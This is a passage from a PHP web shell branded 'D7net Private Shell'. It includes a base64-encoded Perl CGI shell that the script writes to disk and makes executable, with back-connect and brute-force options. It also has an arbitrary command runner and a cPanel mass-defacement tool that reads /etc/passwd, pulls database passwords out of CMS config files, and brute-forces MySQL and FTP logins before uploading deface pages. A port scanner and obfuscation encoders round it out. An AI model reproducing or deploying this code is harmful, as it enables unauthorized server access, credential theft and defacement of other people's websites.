Y256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzredICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';

$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
    chmod("cgi2012.izo",0755);
   echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
 
 </div>"; }
elseif($_GET['D7net'] == '64base') {
    
echo '<div style="text-align:left" class="mybox"><h1>Base64 Encode/Decoder</h1>
<form action="" method=POST>
Encode :<input type=text name=code style="border:0;border-bottom:1px solid #292929; width:500px;"><br><br>
<input type=submit style="width: 50px; height: 30px; border-color=white;" name=codificar class="kotak" value=Encode>
</form><hr color="white"><br>
<form action="" method=POST>
Decode :<input type=text name=decode style="border:0;border-bottom:1px solid #292929; width:500px;"><br><br>
<input type=submit style="width: 50px; height: 30px; border-color=white;" name=decodificar class="kotak" value=Decode>
</form></div>
';
    
    if (isset($_POST['codificar'])) {
        echo "<div class='mybox'><center>";
        echo "Text<br><br><fieldset style='border-color:white'>" . $_POST['code'] . "</fieldset><br><br>Result<br><br><fieldset style='border-color:white'>";
        echo base64_encode($_POST['code']);
        echo "</fieldset></center></div>";
    }
    if (isset($_POST['decodificar'])) {
        echo "<div class='mybox'><center><br><br>Text<br><br><fieldset style='border-color:white'>" . $_POST['decode'] . "</fieldset><br><br>Result<br><br><fieldset style='border-color:white'>";
        echo base64_decode($_POST['decode']);
        echo "</fieldset></Center></div>";
  }  
}
elseif($_GET['D7net'] == 'ED'){
$text = $_POST['code'];
?><center class='mybox'><h1>Encode & Decode</h1>
<form method="post"><br>
<textarea class='mybox' cols=80 rows=10 name="code"></textarea><br><br>
<select size="1" name="ope">
<option value="urlencode" style='background:transparent;color:red;'>url</option>
<option value="base64" style='background:transparent;color:red;'>Base64</option>
<option value="ur" style='background:transparent;color:red;'>convert_uu</option>
<option value="json" style='background:transparent;color:red;'>json</option>
<option value="gzinflates" style='background:transparent;color:red;'>gzinflate - base64</option>
<option value="str2" style='background:transparent;color:red;'>str_rot13 - base64</option>
<option value="gzinflate" style='background:transparent;color:red;'>str_rot13 - gzinflate - base64</option>
<option value="gzinflater" style='background:transparent;color:red;'>gzinflate - str_rot13 - base64</option>
<option value="gzinflatex" style='background:transparent;color:red;'>gzinflate - str_rot13 - gzinflate - base64</option>
<option value="gzinflatew" style='background:transparent;color:red;'>str_rot13 - convert_uu - url - gzinflate - str_rot13 - base64 - convert_uu - gzinflate - url - str_rot13 - gzinflate - base64</option>
<option value="str" style='background:transparent;color:red;'>str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="url" style='background:transparent;color:red;'>base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
<option value="hexencode" style='background:transparent;color:red;'>Hex Encode/Decode</option>
<option value="md5" style='background:transparent;color:red;'><center>MD5 Hash</option>
<option value="sha1" style='background:transparent;color:red;'>SHA1 Hash</option>
<option value="str_rot13" style='background:transparent;color:red;'>ROT13 Hash</option>
<option value="strlen" style='background:transparent;color:red;'>strlen</option>
<option value="xxx" style='background:transparent;color:red;'>unescape</option>
<option value="bbb" style='background:transparent;color:red;'>charAt</option>
<option value="aaa" style='background:transparent;color:red;'>chr - bin2hex - substr</option>
<option value="www" style='background:transparent;color:red;'>chr</option>
<option value="sss" style='background:transparent;color:red;'>htmlspecialchars</option>
<option value="eee" style='background:transparent;color:red;'>escape</option></select>&nbsp;
<input class='kotak' type='submit' name='submit' value='Encrypt'>
<input class='kotak' type='submit' name='crack' value='Decrypt'>
</form>

<?php 
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'json' : $codi=json_encode(utf8_encode($text));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;case 'gzinflater' : $codi=base64_encode(str_rot13(gzdeflate($text)));
break;case 'gzinflatex' : $codi=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
break;case 'gzinflatew' : $codi=base64_encode(gzdeflate(str_rot13(rawurlencode(gzdeflate(convert_uuencode(base64_encode(str_rot13(gzdeflate(convert_uuencode(rawurldecode(str_rot13($text))))))))))));
break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
break;case 'str2' : $codi=base64_encode(str_rot13($text));
break;case 'urlencode' : $codi=rawurlencode($text);
break;case 'hexencode' : $codi=bin2hex($text);
break;case 'md5' : $codi=md5($text);
break;case 'ur' : $codi=convert_uuencode($text);
break;case 'str_rot13' : $codi=str_rot13($text);
break;case 'sha1' : $codi=sha1($text);
break;case 'strlen' : $codi=strlen($text);
break;case 'xxx' : $codi=strlen(bin2hex($text));
break;case 'bbb' : $codi=htmlentities(utf8_decode($text));
break;case 'aaa' : $codi=chr(bin2hex(substr($text)));
break;case 'www' : $codi=chr($text);
break;case 'sss' : $codi=htmlspecialchars($text);
break;case 'eee' : $codi=addslashes($text);
break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;default:break;}}

$submit = $_POST['crack'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'json' : $codi=utf8_dencode(json_dencode($text));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;case 'gzinflater' : $codi=gzinflate(str_rot13(base64_decode($text)));
break;case 'gzinflatex' : $codi=gzinflate(str_rot13(gzinflate(base64_decode($text))));
break;case 'gzinflatew' : $codi=str_rot13(rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_uudecode(gzinflate(rawurldecode(str_rot13(gzinflate(base64_decode($text))))))))))));
break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
break;case 'str2' : $codi=str_rot13(base64_decode($text));
break;case 'urlencode' : $codi=rawurldecode($text);
break;case 'hexencode' : $codi=quoted_printable_decode($text);
break;case 'ur' : $codi=convert_uudecode($text);
break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;default:break;}}

echo '<textarea cols=80 rows=10 class="mybox" readonly>'.$codi.'</textarea></center><BR><BR>';

}

 elseif($_GET['D7net'] == 'cmd') {
    echo "<div class='mybox'>
    <form method='post'>
    <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
    <input type='text' size='30' height='10' style='border:0; border-bottom: 1px solid #191919' name='cmd'><input type='submit'  style='border-color=white'name='do_cmd' class='kotak' value='>>'>
    </form></div>";
    if($_POST['do_cmd']) {
        echo "<pre>".exe($_POST['cmd'])."</pre><br>";
        echo "<hr color='white'>";
        
    }
} 
elseif($_GET['D7net'] == 'cpdepes') {
    if($_POST['crack']) {
        $usercp = explode("\
\
", $_POST['user_cp']);
        $passcp = explode("\
\
", $_POST['pass_cp']);
        $i = 0;
        foreach($usercp as $ucp) {
            foreach($passcp as $pcp) {
                if(@mysql_connect('localhost', $ucp, $pcp)) {
                    if($_SESSION[$ucp] && $_SESSION[$pcp]) {
                    } else {
                        $_SESSION[$ucp] = "1";
                        $_SESSION[$pcp] = "1";
                        if($ucp == '' || $pcp == '') {
                            //
                        } else {
                            echo "[+] username (<font color=red>$ucp</font>) password (<font color=red>$pcp</font>)<br>";
                            $ftp_conn = ftp_connect($ip);
                            $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
                            if((!$ftp_login) || (!$ftp_conn)) {
                                echo "[+] <font color=red>Login Gagal</font><br><br>";
                            } else {
                                echo "[+] <font color=red>Login Sukses</font><br>";
                                $fi = htmlspecialchars($_POST['file_deface']);
                                $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
                                if($deface) {
                                    $i++;
                                    echo "[+] <font color=red>Deface Sukses</font><br>";
                                    if(function_exists('posix_getpwuid')) {
                                        $domain_cp = file_get_contents("/etc/named.conf"); 
                                        if($domain_cp == '') {
                                            echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
                                        } else {
                                            preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
                                            foreach($domains_cp[1] as $dj) {
                                                $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
                                                $user_cp_url = $user_cp_url['name'];
                                                if($user_cp_url == $ucp) {
                                                    echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
                                                    break;
                                                }
                                            }
                                        }
                                    } else {
                                        echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
                                    }
                                } else {
                                    echo "[-] <font color=red>Deface Gagal</font><br><br>";
                                }
                            }
                            //echo "username (<font color=red>$ucp</font>) password (<font color=red>$pcp</font>)<br>";
                        }
                    }
                }
            }
        }
        if($i == 0) {
        } else {
            echo "<br>sukses deface ".$i." Cpanel by <font color=red>D7net Private Shell</font>";
        }
    } else {
        echo "<center class='mybox'><h1>Cpanel Auto Deface</h1><hr color='white'>
        <form method='post'>
        Filename: <br>
        <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
        Deface Page: <br>
        <input type='text' name='deface' placeholder='http://site.com/filemu.php' style='width: 450px;'><br>
        USER: <br>
        <textarea style='width: 450px; height: 150px;' name='user_cp'>";
        $_usercp = fopen("/etc/passwd","r");
        while($getu = fgets($_usercp)) {
            if($getu == '' || !$_usercp) {
                echo "<font color=red>Can't read /etc/passwd</font>";
            } else {
                preg_match_all("/(.*?):x:/", $getu, $u);
                foreach($u[1] as $user_cp) {
                        if(is_dir("/home/$user_cp/public_html")) {
                            echo "$user_cp\
";
                    }
                }
            }
        }
        echo "</textarea><br>
        PASS: <br>
        <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
        function cp_pass($dir) {
            $pass = "";
            $dira = scandir($dir);
            foreach($dira as $dirb) {
                if(!is_file("$dir/$dirb")) continue;
                $ambil = file_get_contents("$dir/$dirb");
                if(preg_match("/WordPress/", $ambil)) {
                    $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\
";
                } elseif(preg_match("/JConfig|joomla/", $ambil)) {
                    $pass .= ambilkata($ambil,"password = '","'")."\
";
                } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
                    $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\
";
                } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
                    $pass .= ambilkata($ambil,'password = "','"')."\
";
                } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
                    $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\
";
                } elseif(preg_match("/client/", $ambil)) {
                    preg_match("/password=(.*)/", $ambil, $pass1);
                    if(preg_match('/"/', $pass1[1])) {
                        $pass1[1] = str_replace('"', "", $pass1[1]);
                        $pass .= $pass1[1]."\
";
                    }
                } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
                    $pass .= ambilkata($ambil,"db_password = '","'")."\
";
                }
            }
            echo $pass;
        }
        $cp_pass = cp_pass($dir);
        echo $cp_pass;
        echo "</textarea><br>
        <input type='submit' name='crack' style='width: 450px;' value='SIKAT!'>
        </form>
        <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
    }
}
elseif($_GET['D7net'] == 'port') {
    echo '<div style="text-align:left" class="mybox"><table><tr><h1>Port Scanner</h1><td>';
    echo '<div class="content">';
    echo '<form action="" method="post">';
    
    if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
        $start = strip_tags($_POST['start']);
        $end = strip_tags($_POST['end']);
        $host = strip_tags($_POST['host']);
        for($i = $start; $i<=$end; $i++){
            $fp = @fsockopen($host, $i, $errno, $errstr, 3);
            if($fp){
                echo 'Port '.$i.' is <font color=green>open</font><br>';
            }
            flush();
        }
    } else {
        echo '<input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
              <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
              Host: &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type="text" style="border:0;border-bottom:1px solid #292929; width:500px;" name="host" value="localhost"/><br /><br />
              Port Start: &nbsp<input type="text" style="border:0;border-bottom:1px solid #292929; width:500px;" name="start" value="0"/><br /><br />
              Port End:&nbsp&nbsp&nbsp&nbsp<input type="text" style="border:0;border-bottom:1px solid #292929; width:500px;" name="end" value="5000"/><br /><br />
              <input type="submit" style="width: 100px; height: 30px; border-color=white;margin:10px 2px 0 2px;" value="Scan Ports !" />
              </form>';
    echo '</div></table></td></div>';
    }
}
elseif($_GET['D7net'] == 'zip') {
    echo "<div class='mybox'>";
    echo "<h1>Zip Menu</h1><hr color='white'>";
function rmdir_recursive($dir) {
    foreach(scandir($dir) as $file) {
       if ('.' === $file || '..' === $file) continue;
       if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
       else unlink("$dir/$file");
   }
   rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
    $filename = $_FILES["zip_file"]["name"];
    $source = $_FILES["zip_file"]["tmp_name"];
    $type = $_FILES["zip_file"]["type"];
    $name = explode(".", $filename);
    $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
    foreach($accepted_types as $mime_type) {
        if($mime_type == $type) {
            $okay = true;
            break;
        } 
    }
    $continue = strtolower($name[1]) == 'zip' ? true : false;
    if(!$continue) {
        $message = "Itu Bukan Zip  , , GOBLOK COK";
    }
  $path = dirname(__FILE__).'/';
  $filenoext = basename ($filename, '.zip'); 
  $filenoext = basename ($filenoext, '.ZIP');
  $targetdir = $path . $filenoext;
  $targetzip = $path . $filename; 
  if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  mkdir($targetdir, 0777);
    if(move_uploaded_file($source, $targetzip)) {
        $zip = new ZipArchive();
        $x = $zip->open($targetzip); 
        if ($x === true) {
            $zip->extractTo($targetdir);
            $zip->close();
 
            unlink($targetzip);
        }
        $message = "<b>Sukses Cok :)</b>";
    } else {    
        $message = "<b>Error Jancok :(</b>";
    }
}   
echo '<table style="width:100%" border="1">
<div class="mybox"><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
<label>Zip File : <input type="file" name="zip_file" /></label>
<input type="submit" class="kotak" name="submit" value="Upload And Unzip" />
</form><br><br></div>';
if($message) echo "<p>$message</p>";
echo "<div class='mybox'><h2>Zip Backup</h2>
<form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><br>
<font style='text-decoration: underline;'>Save To:</font><br>
<input type='text' name='save' value='$dir/owlsquad_backup.zip' style='width: 450px;' height='10'><br><br>
<input type='submit' name='backup' class='kotak' value='Back Up!' style='width: 215px;'></form><br><br></div>"; 
    if($_POST['backup']){ 
    $save=$_POST['save'];
    function Zip($source, $destination)
{
    if (extension_loaded('zip') === true)
    {
        if (file_exists($source) === true)
        {
            $zip = new ZipArchive();

            if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
            {
                $source = realpath($source);

                if (is_dir($source) === true)
                {
                    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);

                    foreach ($files as $file)
                    {
                        $file = realpath($file);

                        if (is_dir($file) === true)
                        {
                            $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
                        }

                        else if (is_file($file) === true)
                        {
                            $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
                        }
                    }
                }

                else if (is_file($source) === true)
                {
                    $zip->addFromString(basename($source), file_get_contents($source));
                }
            }

            return $zip->close();
        }
    }

    return false;
}
    Zip($_POST['dir'],$save);
    echo "Selese , Save To <b>$save</b>";
    }
    echo "
    <div class='mybox'><h2>Unzip Manual</h2>
    <form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br>
    <input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><br>
    <font style='text-decoration: underline;'>Save To:</font><br>
    <input type='text' name='save' value='$dir/owlsquad_unzip' style='width: 450px;' height='10'><br><br>
    <input type='submit' name='extrak' class='kotak' value='Unzip!' style='width: 215px;'></form><br><br>
    </div>";
    if($_POST['extrak']){
    $save=$_POST['save'];
    $zip = new ZipArchive;
    $res = $zip->open($_POST['dir']);
    if ($res === TRUE) {
        $zip->extractTo($save);
        $zip->close();
    echo 'Succes , Location : <b>'.$save.'</b>';
    } else {
    echo 'Gagal Cok :( Ntahlah !';
    }
    }
echo '</table>'; 
echo "</div>";
;}
elseif($_GET['D7net'] == 'metu') {
    

echo '<form action="?dir=$dir&do=metu" method="post">';
    unset($_SESSION[sha1($_SERVER['HTTP_HOST'])]); 
    echo 'Logout Done! :P ';   
}
elseif($_GET['D7net'] == 'infosec') {
echo '<div class="mybox"><table><h1><u>Server security information</u></h1><td><div class=content>';
    function showSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo '<span>'.$n.': </span>';
            if(strpos($v, "\
") === false)
                echo $v.'<br>';
            else
                echo '<pre class=ml1>'.$v.'</pre>';
        }
    }
    
    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
    showSecParam('Open base dir', @ini_get('open_basedir'));
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    $temp=array();
    if(function_exists('mysql_get_client_info'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists('mssql_connect'))
        $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
        $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
        $temp[] = "Oracle";
